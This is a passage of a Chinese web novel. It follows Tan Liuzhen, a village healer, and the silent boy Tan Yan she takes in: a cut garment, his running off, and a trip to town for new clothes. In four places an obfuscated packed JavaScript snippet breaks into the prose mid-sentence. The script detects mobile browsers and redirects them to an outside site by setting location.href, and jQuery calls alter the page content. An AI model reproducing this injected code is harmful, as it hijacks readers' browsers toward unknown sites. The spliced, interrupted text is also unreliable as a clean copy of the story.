谭柳真替他换了身白褂蓝腰封,又费力扎起高马尾。谭晏始终一声不吭,任她摆布。便是扯落几根头发,他也浑若无事,只是长长的睫毛时抬时落,不敢与谭柳真对视,却又按耐不住心中新奇。 “还真不错。” 谭柳真对着铜镜一阵比对,高马尾终于绑好,她确定没有歪后才心满意足地笑了笑。 谭晏厚厚的刘海凌乱又参差不齐,谭柳真随意地在他脑门上拨了拨,发现怎么样都好看,当真跟个瓷娃娃一样好看。 听说南疆那边的男人都是辫麻花辫的,她突然心有悔意,偏这马尾好不容易才梳齐整,又舍不得动了。 “你介意我剪你的头发么。” 谭晏摇了摇头。 “那你闭下眼睛。” 他听话垂眸,长长舒卷的睫毛几乎要和发丝混在一起,谭柳真举着剪刀小心地剪下去,额头上传来一阵酥酥痒痒的奇怪感觉,感觉自己的额头都清爽了一个度。 “看,还不错吧……” 谭柳真扒了扒他的刘海,凳子上的人盯着镜子看了好一会,恍恍惚惚的,竟有些不认得自己。 就连脸上的那份阴沉也早已消失不见,整个人除了气色差点,却已是寻常人家被宠着的少年模样。 “我有时候穿男装会方便一点,所以柜子里备着一些。” 谭柳真笑着看了他一眼,继续整理着他衣服上的边边角角,毕竟本是按自己身量裁的,两个人虽然体格相近,但细节之处终归不贴身。 考虑到谭晏对这里会有很多疑虑,谭柳真干脆将这么多年她的情况团盘托出,娓娓道来: “这里是广庾县,这座山叫鼎山,我们在山腰上一点点,周围也并不是只有我们这一户人家,不然我也不敢真一个人住这,他们大多是山上打猎的,所以山上会有陷阱不要乱跑,哪天带你去认识一下,你也就知道哪块区域是能跑、哪块区域是不能跑的了。” 谭晏依旧点头,有人在旁边陪着,谭柳真话渐渐密了,心里漾着一种说不出的舒坦,她觉得张大娘说的真对。 “哦,对了,你认字么。” 谭晏点头。 “那你会写字么?” 依旧点头。 “……” 她这是留了个哑巴在屋里啊,怎么一回来好像有点不对劲了呢。明明一开始的时候还有话说,如今倒好,一声也不吭了。可看他神情又不像厌烦自己。当初奶奶收留她那会儿,她们又是如何熟络起来着的? “那这么说你也认得草药了洛?” 谭晏点头又摇头:“只认得一些草。” 这正中谭柳真下怀,她本就是行医之人,她有一本医书经常在手里翻,时不时还要抄一抄。 她打量一圈谭晏的面色,说了一大堆他听不懂的话,总结下来大概是:他气色亏太多了,后面得好好补补。 “我会教你认草药的,因为你得帮我做事。” “你就先住这间房间。” 她将人领到一扇门前,谭晏看了看,正是他之前转悠的时候看到的那间厢房,和谭柳真的卧房离得很远,可以说是一个在西边一个在东边,两间房之间还隔了一个宽敞的堂屋。 厢房里的陈设都十分简单,只有一张床和一面桌子,侧边还有一扇窗,一看就是常年没人居住的。 “我给你交代一下,我不在的时候你要帮我做什么事。”说着,她起身带着谭晏在着四周重新转了一圈。 几乎每间的房子里面都摆着一两个药架,其中一间挨着堂屋的屋子最是夸张,门上还上了一把锁,只有谭柳真有钥匙。 “这里面放着的都是些烈性草药,平时不会开门,但时不时也要拿出来晒晒,你晒的时候注意些。” 谭晏点头,他这辈子从没见过这么多草药,所以便在心底确定了一件事:这个人多少是有点收集癖的,相同的草药都堆了一大摞也不见她处理掉一些,宁愿在房子里堆满角落。 不过日后谭晏便会知晓:正是因着这些草药,这屋里头从不曾见过半只虫蚁,便是夏日里的蚊蝇,也无影无踪。 谭柳真很想问他是怎么找到自己落在外面的那几罐酒的,尤其是当她看见晒在院子里的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193285|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双鞋时,她醒来的时候两只鞋都已经被清洗干净。 但是她看着谭晏现在的这副状态,估计够呛回答这个问题。 “那个梅子酒是张大娘送的,张大娘,就是今天早上的那个。” 谭晏罕见地没有说话,按照她的示范将一摞摞草药架子默默地搬到了院子里。 哪一种药是要暴晒的,哪一种又要趁阴只风干的,谭柳真都说地清清楚楚,她担心自己会不会一下子太苛刻了,却发现谭晏正干得卖力。 院子相比于后| 庭要宽敞多了,厨屋就在在院子的西边被单独分离出来,谭柳真坐在厨屋前面掰着葱姜蒜,院子的右边则是柴屋,柴屋的后面还有一个小型的菜园。 日头渐烈,空气里又没有风,唯有林间鸟雀不嫌热,一声递一声地啼鸣。 谭晏抬头望了眼天空,忽然就发现厨屋那边飘来一缕细细的炊烟。 一扭头,谭柳真已经将菜端上了桌,正招手叫他吃饭。 就是卖相不怎么样,谭晏盯着看了好一会,才认出其中一块块黑乎乎的东西是土豆。其他的几盘菜也十分素净,可能是谭晏生病忌油盐的缘故。 “虽然长得不太好看,但是……” 话音未落,谭晏已经捧碗大口吞了起来。 谭柳真很欣慰,再也不需要捧着个碗端给山下的大黄吃了。 天上艳阳高照,转眼间便变成了满天星辰。 周围的畜声变成了草虫鸟叫声,时不时传来几阵飞禽走兽的隐隐叫声,听着倒令人心安。 谭柳真从自己房里抱来了几床棉被,厢房里点着昏暗低沉的灯光。 暖黄色的烛光打在两人身上,外面的夜色藏不住,两人专注于摆弄手里的被子。 谭晏学得很认真,但是仍然不说话,整个人看起来小心翼翼的,只有根据神情才能判断出他在想什么。 谭柳真知道他这是还没适应过来,慢慢地就都好了。两人今天都很高兴,她都忍不住感慨:“像过节了似的。” 的确,谭晏的到来给她原本平静而且一成不变的生活带来了一些新鲜感,她的这架深山小宅也好久没有这般热闹过了。 两人各执棉被的一端,按着谭柳真的指令在空中荡了荡,微风从被子底下钻出来,都温柔地抚过两人的面庞,在这深秋的夜晚里还真有点凉飕飕的,险些将一旁的蜡烛都吹灭。 谭柳真跟他道了晚安,关上门出去了。 谭晏的目光始终盯着她,一直目送到门窗外面的人影消失不见。 今天是个特别的一天,但结束之后又陷入了寂静。 谭晏将头埋进被子,只露出一双黑漆漆地眼睛盯着那根床头的蜡烛,迟迟不肯吹灭。 …… 谭柳真这晚睡得很沉, 三更的时候,完全没有注意到外面传来一丝丝声响。 她觉得她明天得去拜访一下奶奶,带着她最喜欢的梅子酒。 也许她会再次摸摸谭柳真的头,要不要带着那个小子一起去呢…… 5. 你跟着我干甚? 大清早打开门,谭柳真被眼前的景象吓了一跳。 门槛外头,一床棉被鼓鼓囊囊地堵在门口,被子里头拱起个人形。谭晏的头发从被角散出来,整个人蜷成小小一团,睡得正沉。 谭柳真吓了一跳,脚差点踩到他脸上。晨光从廊檐下斜斜地照进来,落在他睫毛上,微微颤着。 屋外传来几声清脆的鸟鸣,远处山谷里浮着薄薄的晨雾,淡淡的,像一层纱。 谭柳真就这么低头看了他一会儿,虽然很想问他怎么睡在这,可这会儿才五点,叫醒他又太早了些。 她抬脚从他身边轻轻跨过去,放了张纸条告诉谭晏锅里有窝窝头,然后就拿着放在门口的竹篮子,往山下走。 谭柳真不知道,自己走过拐角的时候,地上那人慢慢睁开了眼睛,侧过头,静静地看着谭柳真离开的方向。 外面天才蒙蒙亮,下山的路要走半个时辰,身后静静的,只有早起的鸟在叫。 空气里有股湿湿的草木香,混着院子里那些药材的清苦味道,让人闻着便觉得醒神。 谭柳真挎着篮子,篮子里装着给张大娘补好的衣服,还有给村里王大爷带的补药。大爷腿脚不好,这次谭柳真下山就是去复查的。 山道上没什么人,露水重,草叶子湿漉漉地蹭着谭柳真的裙摆。 太阳匍匐在大地上,天光暗暗的,刚能看清山路。 山下的一排排石板小屋还沉睡着,王大爷就住在山脚的村子里,三间瓦房,院子里种着两棵枣树。 谭柳真推开院门的时候,他的儿媳秋菊正在院子里晒衣裳,看见谭柳真就笑:“柳真来了?快进来坐。” “秋菊姐,我来给王大爷看看腿。” “你来的赶巧,老爷子正还说腿疼。” 秋菊将她领进屋,谭柳真推门进去,看见王大爷正靠在床头,一条腿伸得直直的,动也不敢动。 “谭大夫来了!”王大娘从灶屋探出头,手里还攥着块抹布,“您给瞧瞧,这老东西一大早就喊疼,我刚想着要不要托人给您带话呢。” 谭柳真搬着凳子坐到床前,王大爷讪讪的,想坐起来,被她按住: “别动,我先看看。” 她掀开盖在腿上的薄被,卷起裤脚,膝盖肿得发亮,摸上去微微烫手。她让王大爷慢慢屈腿,看他龇牙咧嘴的模样,心里有了数。 “是风湿又犯了,不过这回比上次轻些了。”她从篮子里取出几包药,一一交代”“这包是外敷的,捣烂了敷在膝盖上,一日一换。这包是内服的,水煎,早晚各一碗。还有这包,等肿消了再用,泡脚用的……” 王大娘在一旁连连点头:“我都记得,还是老样么。” 谭柳真点头,又从怀里摸出个小瓷瓶:“这是我新配的药酒,等肿消了,早晚抹一回,揉到发热为止。” 王大爷接过药酒,嘴里絮絮叨叨地道着谢,谭柳真摆摆手,起身要走,王大娘赶紧拦住:“饭都煮上了,吃了再走!” “不了大娘,我还有事。” “那你等等。”王大娘转身进了里屋,出来时手里拎着两个小布袋,一袋子沉一袋子轻,“这是今年的新枣,这包晒干了的,你带回去泡茶喝。” 谭柳真推辞不过,只得收了,果不其然,其中一个布袋子底下垫着几枚铜板,这下可还好,吃着枣子道也省了顿早饭。 远处走出门时,日头正爬到头顶,她站在枣树下回望,王大爷家的炊烟袅袅地升起来,混在秋日的薄雾里,淡得像一笔旧画。 她把那袋干枣放进篮子,转身往山上看去,不知谭晏有没有吃到窝窝头。 又连着跑了几家诊,再出来时,天上的太阳已经冉冉升起。群山庇护下的小山村也被薄薄的晨光笼罩着,许多农忙的人家已经开门,正和迎面撞上的谭柳真打招呼。 谭柳真来到张大娘家,一间由木板搭成的棚子里堆着一袋袋金黄的稻谷,张大娘一般这个时候还没有起床,她只需要默默地将衣服下即可。 昨天她已经仔细清洗过,上面已然没有泥点子,她将衣服抖开欣慰地重新地扫视了一翻。 突然,她在衣服上看见了一条细细的口子。 谭柳真顿时心里咯噔一下,又揉揉眼凑过去看。 隔开的地方已经开始了绷线,边缘毛毛燥燥地简直乱做了一团。 口子不长,但很深,整整齐齐的,一看就是利器割的。 谭柳真昨天将衣服放进篮子的时候,明明检查过没有这道口子。 篮子放在桌上,一夜没动过,早上起来,篮子还在原地。 难不成是阿晏割的?但是他知道这是张大娘的衣服,他又不烦张大娘,难道…… 谭柳真不敢再想,她将一袋子枣子放张大娘家门口,留纸条告诉她衣服在自己上山的时候出了点小状况,不小心摔了一跤花了一条口子,怕是不能按时送来了。 出了张大娘家,她站在村口看着来时的山道。 果不其然,她的步子后面还跟着一个稍大的脚印,只不过土地渐干,印子很浅不易察觉。 谭柳真站在这堆脚印旁边看了好久,张望四周有没有看到任何身影,终于,她愣了一两秒后朝周围喊了一声: “你跟着我干什么。” 林子里很安静没有一丝声响,树后的人影突然一个慌张踩断了一条干树枝,发出“咔嚓~”一声的脆响,谭柳真扭头看过去,谭晏从树后面低头走了出来。 他的头发有些散了,几缕碎发从马尾里逃出来,耷拉在额前。 “昨天晚上,你是不是动了我桌上的篮子?” 谭晏垂着眼,睫毛密密地覆下来,看不清里头神情,只那脸色比昨日更白了些,嘴唇也没什么血色。整个人瘦伶伶的,像山间一棵还没长成的小树,风一吹就要倒似的。 “张大娘的衣服,是你割的?”谭柳真的声音沉下来,谭晏不说话,低头拿脚尖碾着地上的土。 他试图张了张嘴,但说不出话来。 谭柳真看着他,忽然觉得很累。他这表情和做错事了被抓包后的心虚没有两样,这么说他居然真的能够干得出这种偷偷摸摸的勾当,她简直气到说不出话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193286|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你知道那件衣服是谁的,是给张大娘的。张大娘多大年纪了?那是她做给她闺女的,她闺女在镇上帮工一年难得回来几次,你为什么把她的衣服给划了?你是对我有什么不满么?” 谭晏的脸色变了,谭柳真继续说: “不管怎么样,你一刀下去,她宝贝的衣服就多了道口子。” “你要是心有不满,对谁不满你可以跟我说,但是你绝对不能这么做,你这样做和偷鸡摸狗有什么区别,也不是三岁小孩了吧,我要是把这坏衣服送回去,张大娘会怎么想?” “我知道你是……”她简直气火攻心地一顿输出,但是还是改了改措辞:“你必须把这种不良的作风改过来,否则再有下次,我第一个报官。” “我真的没想到……” 长得这么乖,居然真的不是个省油的灯。 “我会找人把衣服补好,但这钱要你以后挣回来,算你先欠我的。” 谭晏的身子微微一僵,耳朵上攀起了红晕。 “还有,你是不是昨天就一直跟着我。”他抿着嘴,不说话。 “谭晏,”谭柳真气急了,没压住声:“你到底想干什么?” 谭晏猛然抬头,看着谭柳真。 那眼神谭柳真见过,在村口流浪狗的眼睛里见过,它们想讨点爱,但又不敢靠近,就那么远远地看着你,眼神里带着点期盼,又带着点害怕。 可他不是流浪狗,他是个人,他也该知道什么能做什么不能做。 “你还有什么要说的么?” 谭晏突然看了她一眼,眼里闪过一丝光亮,然后蹙眉突然低下了头,没再敢看她,只盯着自己的脚尖。 山风吹过来,吹得树叶沙沙响。 谭柳真站在他对面,看着他低着的头,凌乱的头发在空中毫无依附地飘荡。 谭柳真察觉到自己话好像有点说狠了,但是已经来不及。两人僵持了一会,谭晏突然慢慢地朝深林里走去。 谭柳真脸色变了一变,但是她实在是气得厉害,没去拦。 她觉得是有必要让谭晏自己好好反省一下自己,回家的路上越想越气,这到底是人有问题还是这环境有问题,难道她留下他真的是一个错误的选择。 她现在该怎么办,得先把他在外面学来的那些不良勾当给改掉,否则只会越来越严重。 谭柳真看着篮子里被划掉的衣服,她不会女工,张大娘的绣工就很好,这衣服她肯定是补不好,只能拿到镇上去找个好绣娘。 到底是哪个环节出错了呢?她忽然想,也许谭晏听见昨天张大娘要赶自己,所以才心有不满。 他刚从流浪过上安稳的日子,可能也和当初的自己一样有些隐隐不安,害怕这份幸福转眼间就会消失不见,她也曾经打翻过奶奶的药坛子,更应将心比心。 这么一想,她的心里便软了几分。 只是……他怎的还没回来? 她坐在堂屋里,朝门口望了望,午饭已经做好摆在桌上,冒着微微的热气。 门外空荡荡的,不见人影。 6. 我都替你害臊 谭柳真一直寻到日头偏西,炊烟渐起时分,天光都黯淡下来。 她心里头这才真正慌了,隐隐觉得谭晏怕是不在这山上了。 她钻进林子深处,四下里静得骇人。老树盘根错节,枝丫交错如鬼手;苔藓湿滑,踩上去悄无声息。头顶的枝叶密不透风,漏下一缕一缕的残光,照得人影绰绰,愈发显得幽深可怖。 她想,如果谭晏是趁自己出门那会儿偷偷跟着的,此刻可能还饿着肚子。头上的纱布今日也忘了换,这阿晏当真是她见过的最能闹腾的孩子。 “阿晏——阿晏——” 林子里半点儿回应也无,她疑心谭晏是成心躲着她,自己喊得越响,他反倒藏得越深,所以后来便不再作声,只悄没声地在林间各处张望。 冷不丁一探头,她把枝头栖着的乌鸦惊地“嘎——”地发出了一声怪叫,扑棱棱窜向别处,人和鸟都吓了个激灵。 饿肚子倒也罢了,只怕天再晚些,踩到猎户设的陷阱,那才叫遭殃。 不如先去陷阱那边瞧瞧,好歹知道他平安。 谭柳真正想着,扭头调转了方向。她抄近路穿梭到一片竹林里,高高的竹杆直插云霄,上面的茂密枝叶遮盖住天光,任何风吹草动都会惊扰到林子里的静谧,随即开始摇曳起来。 林子里顿时哗啦哗啦地响,甚至盖过了她的脚步声。 这风吹得谭柳真心里凉飕飕的,她快步穿过这片竹林,一出来,就看到了一个熟悉的身影。 谭晏爬上了一棵高高的香樟树,坐在一根粗壮的树杈上背靠树干,两条腿垂下来,一晃一晃的。他不知在那儿坐了多久,整个人几乎要和暮色融为一体。 这香樟树有些年头了,随便一个枝干就有盆口那么大。 但是谭柳真的脚刚踏上落叶,谭晏就立刻醒了过来,睁着眼睛看着她,两人四目相对。 这时候的天色已经很暗,双方都看不清彼此脸上的表情,但谭柳真觉得,他没跑调就是还有商量的余地。 “下来。”谭柳真只说了一句。 日头落尽,天边只剩一抹暗红。 “你下不下来?” 她提高了声音,暮色四合,林子里暗了下来,远远传来几声鸟叫,空旷而寂寥。 谭柳真走到树下,仰头看他,“你爬那么高干什么?下来吃饭。” 那人影终于动了动,低下头来看了她一眼。 然后,他又把头转回去了。 谭柳真愣了愣,觉得自己有点尴尬,但是毕竟做了十九年的大家闺秀,爬树这种事,或者说把人从树上揪下来这种事,她是做不来的。 不下来? 她又喊了两声,好说歹说,树上那位纹丝不动,像一尊小佛似的,稳稳当当坐在那儿。 她觉得这实在是有点过分了,不光过分还有点幼稚,谁家这么大的人了还一闹矛盾就跑到树上去,谭柳真都快奔三了,真是替他臊得慌。 谭柳真站在树下,仰得脖子都酸了,终于忍不住叉起腰:“你是不是不下来。” 树上的小佛岿然不动。 谭柳真气笑了。 行,你跟我比倔是吧? 她朝树下走来,谭晏被激地从树上站了起来,谭柳真却突然转身,一屁股坐在了树下。 “你不下来,我也不走。”她抬头看着树上,“咱们就在这儿耗着,看谁耗得过谁。” 树上的身影微微一僵。 暮色越来越深,天边那抹暗红彻底沉了下去,换上一片青灰。林子里彻底静了,连鸟叫声都没了,只有风吹过树叶的沙沙声,一阵一阵的。 谭柳真坐在椅子上,双臂抱在胸前,一副铁了心的模样。 树上的谭晏动了动,低头看了她一眼,又飞快地转开。 时间一点一点过去。 谭柳真估摸着坐了有一刻钟,脖子又酸了,便换了个姿势,靠在椅背上。秋夜的凉意从四面八方围过来,她打了个小小的寒噤,却硬撑着没动。 又过了一会儿,树上传来窸窸窣窣的声响。 谭柳真抬眼一看,谭晏正慢吞吞地往树下挪。他挪得很慢,每挪一步都要停一停,像是还在犹豫。可终究还是一寸一寸地下来了。 最后一步,他跳下来,落在谭柳真面前两步远的地方,低着头,垂着眼,一声不吭。 谭柳真站起来,打量了他一眼。 这一打量,她忽然说不出话了。 谭晏站在那儿,头发散得更厉害了,马尾歪到一边,几缕碎发乱七八糟地贴在脸上。白褂子蹭了好几道灰,袖口也黑了一片。最惹眼的是他的鞋子。 那是一双布鞋,本就旧了,这会儿鞋面上沾满了泥,鞋尖处还咧开一道口子,露出里头白色的袜头。 谭柳真盯着那道口子看了好几眼。 谭晏似乎感觉到了她的目光,脚往后缩了缩,想把那只破鞋藏起来。 谭柳真没说什么,只道:“走吧,吃饭。” 她转身往屋里走,走了几步,回头一看,谭晏还站在原地,低着头,脚尖在地上碾着。 “愣着干什么?”她说,“饭要凉了。” 谭晏抬起头,看了她一眼。 夜色里,他的眼睛亮亮的,像浸了水的黑石子,他慢慢挪动脚步,跟了上来。 两人一前一后进了屋。谭柳真把菜又热了热,重新端上桌,午饭硬生生地变成了晚饭。 谭晏坐到他对面,捧起碗,低着头,一声不吭地扒饭。谭柳真也吃饭,时不时抬眼看他一下。 他看着比刚来那会儿瘦了些,下巴尖尖的,颧骨也显出来了。那双手捧着碗,指节分明,却有几道细细的口子,像是被什么划的。 谭柳真忽然想起今日骂他的那些话,心里有点不是滋味。 她放下筷子,开口道:“今天——” 谭晏的身子微微一僵,扒饭的动作慢下来。 “今天我的话是重了些。”谭柳真说,“但你跟着我下山,也确实不对。山里到处是陷阱,你要是有个闪失,我怎么……” 她顿了顿,没往下说。 谭晏低着头,筷子在碗里拨来拨去,一粒米也没往嘴里送。 谭柳真看了他一会儿,叹口气:“先吃饭吧。” 吃完饭,谭晏抢着收拾碗筷,端去灶屋洗。谭柳真坐在桌边,听着灶屋里传来哗哗的水声,心里盘算着一件事。 “过来。”谭柳真冲他招手。谭晏正好洗完碗,站在灶屋门口,拿围裙擦手。 谭晏走过来,站在她面前,还是低着头。 谭柳真蹲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193287|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去,把卷尺放在他旁边,给他量了量鞋码。 “另一只。” 谭晏迟疑了一下,才慢慢抬起那只破了口子的鞋。 谭柳真将鞋脱下,谭晏坐在椅子上。她盯着那道裂口看了两眼。接着转身进了里屋,再出来时,手里多了个针线笸箩。 谭晏睛微微睁大,看着她搬了张小凳子,在他面前坐下。 谭柳真穿好针线,低下头,一针一线地缝起来。 然后她的眉头就皱了起来。 针脚歪了。 她拆掉,重新下针,这回倒是没歪,可是走线的时候用力不均,缝出来的那道线皱皱巴巴的,像条扭来扭去的蚯蚓。 谭柳真的眉头皱得更紧了。 她往里送针的时候,用力猛了些,针尖一下子扎进了指腹。 她手指微微一缩,却没吭声,只顿了一顿,把针拔出来,继续往下走。 谭晏坐在旁边,眼睛一直盯着那只鞋,忽然好像在她手指上看见一颗沁出来的血珠。 他身子往前探了探。 谭柳真感觉到他的动作,把手微微偏了偏,挡住他的视线,声音平平的:“别动,还没缝完。” 谭晏只好又坐回去,眼睛却一直盯着她的手。 第二道线比第一道好不了多少,针脚时密时疏,有几针扎得深了,翻过来一看,鞋里头露出几道白线头。 她拿剪刀把线头剪掉,又翻过来看了看那道口子——口子倒是缝上了,就是缝得不太好看,皱巴巴的,像小孩儿第一次做针线的活计。 谭柳真沉默了一会儿,把鞋递给他。 “缝得不好。”她说,语气平平的,听不出什么情绪,“你先凑合穿。” 谭晏接过鞋,低头看着那道歪歪扭扭的针脚,又看了看她手指上已经干涸的那点暗红,手指轻轻摸了摸鞋面上缝过的痕迹。 谭柳真看他一眼,也不知道他满不满意她把针线收拾起来,站起身,拍了拍裙子。 “明日一早,我带你去镇上赶集。” 谭晏抬起头,眼睛亮了一下。 “到了镇上,”谭柳真说,“给你买几双新的。” 谭晏低头看着手里的鞋,睫毛颤了颤,没说话。他低头把鞋穿上,脚尖在地上轻轻点了点。 谭柳真看着他那副模样,难得放软了语气:“早点睡,明儿个要起早。” 她转身往自己屋里走,走到门槛边,身后传来一声很轻的—— “嗯。” 那声音带着点鼻音,像是憋了很久终于漏出来的一点动静。 关上门之前,她回头看了一眼。谭晏还站在原地,低着头看脚上的鞋,一动不动的。 月光从窗子里照进来,落在他身上,把他整个人都笼在一层淡淡的清辉里。 谭柳真轻轻关上门。 躺到床上,她翻来覆去睡不着。想起今日的事,她忽然觉得,自己对这孩子是不是太凶了。 可话说回来,他也是真的不让人省心,来了两天也不说话。 窗外的月光从帘子缝隙里漏进来,在地上铺了一小块白。远处传来几声夜鸟的啼叫,悠悠的,长长的,像谁在梦里叹了口气。 谭柳真翻了个身,闭上眼睛。 “唉,慢慢来吧……” 7.一个旖旎的梦 第二天一早,天刚蒙蒙亮,谭晏就醒了。 他躺在门口的铺盖上,听着屋里谭柳真起身的动静,没敢动。 等到谭柳真推门出来,他才装作刚醒的样子,揉着眼睛坐起来。 谭柳真瞥了他一眼没吭声。他睡在门口这事,她早已见惯不怪。 她去灶房烧了锅水,下了把挂面,卧了两个荷包蛋。 等谭柳真从厨屋里出来,房门口已经空空荡荡的,谭晏已经将地上的铺盖卷得整整齐齐,抱着送回了自己的房间。 谭柳真挑了挑眉。 这孩子,倒是还懂点事。 谭晏垂着眼,嘴唇抿成一条线,头发也乱糟糟的,有几根呆毛倔强地翘着。 她把碗递过去:“吃吧。” 谭晏接过来,蹲在她身侧埋头吃了起来。吃了几口,谭柳真忽道:“先前跟你说的话,可还记得?” 谭晏点点头:“嗯。” “旁人问起,只说我是你阿姐,晓得不?” “嗯。” 谭柳真蹙眉看他:“就只会嗯?” 谭晏顿了顿:“晓得了。” 谭柳真没忍住,嘴角弯了弯:“叫两声我听听?” “……” 他喉头滚了滚,那几个字在舌尖掂量了半天,终于犹犹豫豫吐出来:“阿姐……” 谭柳真笑着点点头: “听你叫声姐可真难。” 谭晏低头继续吃面,吃着吃着,耳朵尖悄悄泛了红。 离下山赶集还有几个时辰,两人在屋里忙活着,将晾晒的药材一并搬了出去。谭柳真觉着谭晏比前些日子活泛了些,话也多了。 她心下欣慰,觉得是自己教导有方。将张大娘托付的衣裳塞进包袱后,她给谭晏编了条低低的麻花辫,像蛇蝎尾巴一样搭在肩头,倒有几分娇俏模样。 两人一前一后下山,路上的石子磕磕绊绊,谭晏险些摔倒,谭柳真拉了他一把,放慢了步子。 行至村口,他们拦了辆过路的牛车。赶车的是个熟面孔,认得谭柳真,正好要运麦子去镇上,爽快地应了捎他们一程。 山里离镇子还有些路程,谭柳真与车夫有一搭没一搭地说着话。泥路两旁的树木渐渐稀疏,取而代之的是大片田地。 金黄的稻浪一望无际,割过的麦茬留在田里,细细的麦秆无精打采地匍匐着,仿佛人一躺上去,便能收获一怀暖意。 风轻轻拂过,送来阵阵麦草的清香。 “想什么呢?” 谭晏望着田埂出神,闻言转过头,谭柳真正笑地看着他。 “这都是农户种的麦子,这会儿正丰收,全割了。这金灿灿的颜色,瞧着是不是挺舒坦?” 谭晏点点头。 “舒坦就说舒坦,光点头算什么?” “好看。”谭晏道。 “这金黄的何止是麦子,那是国库里的银子。天下百姓靠这个活,说穿了,这都是咱们的衣食父母。可说到底,是农人用汗水浇出来的,真正厉害的,是他们。”谭柳真说着,眼里泛起光。 谭晏头一回听人这般解“衣食父母”,心下觉得新鲜。 谭柳真又说:“其实这天地也挺可人疼的,你不觉得么?就像个娘亲,咱们给它松松土、浇浇水,它就长出粮食来喂饱咱们。让咱们有力气,有精神。” “生命这东西,当真奇妙。尤其是你一天天瞧着它在你手里长起来的时候,那种欢喜,没法说。” “丰收时节,人脸上那个笑,不光是为了几个铜板,那是打心眼里乐出来的。” 谭晏听她说着,只觉她对种田这事是真心欢喜。可他纳闷的是,家里半亩菜地也没有,连米都是跟农户买的。 “咱家有田么?”谭晏问。 谭柳真看了他一眼,神色黯了黯,带了几分自嘲:“没有。原先倒是有,可我对种菜那些事,实在懂得少。手头几本医书就够我琢磨的了,哪有闲工夫侍弄那些。就算种了,也得被野草吃了。” “那原先怎么会有呢?” 谭柳真眼神一闪,瞟了眼前面赶车的大爷,压低声音: “原先有,自然是因为原先有人种。” 那人便是收养谭柳真、传她医术的谭奶奶。 谭柳真也是谭奶奶半路捡来的,这山里,唯有谭奶奶知晓她的底细。谭奶奶过世多年,谭柳真遵她遗愿,在这深山建了屋子,独自住下。 谭奶奶将屋子建在深山,为的正是谭柳真的身份。故而对外只说是远亲,如今谭柳真也借这由头,只说谭晏是自己的远房弟弟。自然,谭晏是晓得谭奶奶的。 谭柳真逃了九年,对这些可能露馅的细处,在意得紧。 不过这一提,倒提醒了她——是该找个时候,跟谭晏说说奶奶的事了。 “我从前跟山下的婶子大娘们学种菜,其实挺有意思。挑着自己种的菜去镇上卖,也是桩新鲜事,你若有意……”她瞟了谭晏一眼,后者眼里确实带着几分好奇,跃跃欲试。 “只是眼下快入冬了,等来年春天,咱们试试。”谭晏点点头,又扭头望向麦田,心里头忽然盼起春天来。 渐渐地,那片金黄退后了。谭晏往前看去,一座水墨画般的小镇映入眼帘。 白墙黛瓦,是皖南一带的老镇模样,透着股古意。天边的马头墙翼角如飞,高高的屋檐下挂着红灯笼,黑木招牌上写着店家名号。 镇上比山里热闹多了。卖包子的摊子冒着白气,挑担的货郎摇着拨浪鼓,几个孩子追着跑过去,笑声洒了一路。 谭柳真轻车熟路地拐进一条巷子,停在一间不大的铺面前。 铺子门脸不大,招牌旧了,却收拾得干净。门口摆着几盆花草,开着细碎的小花。 “周婶,”她掀开帘子进去,“在么?” “哟,柳真来了!”掌柜的是个圆脸妇人,笑着迎上来,“好些日子没见,忙什么呢?” “还不就那些事。”谭柳真笑了笑,把身后的谭晏让出来,“给我这弟弟买几身衣裳。” 周婶的目光落在谭晏身上,谭晏淡淡瞥了她一眼,那眼神,有些瘆人。 周婶心里咯噔一下,觉着不对劲。这孩子比她儿子还高两个头,五官跟刀刻出来似的,只是脸色青白,瘦得跟干柴一般,活像个小鬼。 她心里犯嘀咕,面上还是笑着:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208758|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这孩子生得俊,就是瘦了些,养养就好。来,婶子给你量量。” 周婶拿着尺子往前凑,谭晏却突然像是应激了似的,猛地往后一缩,那动静之大,倒把周婶吓了一跳。 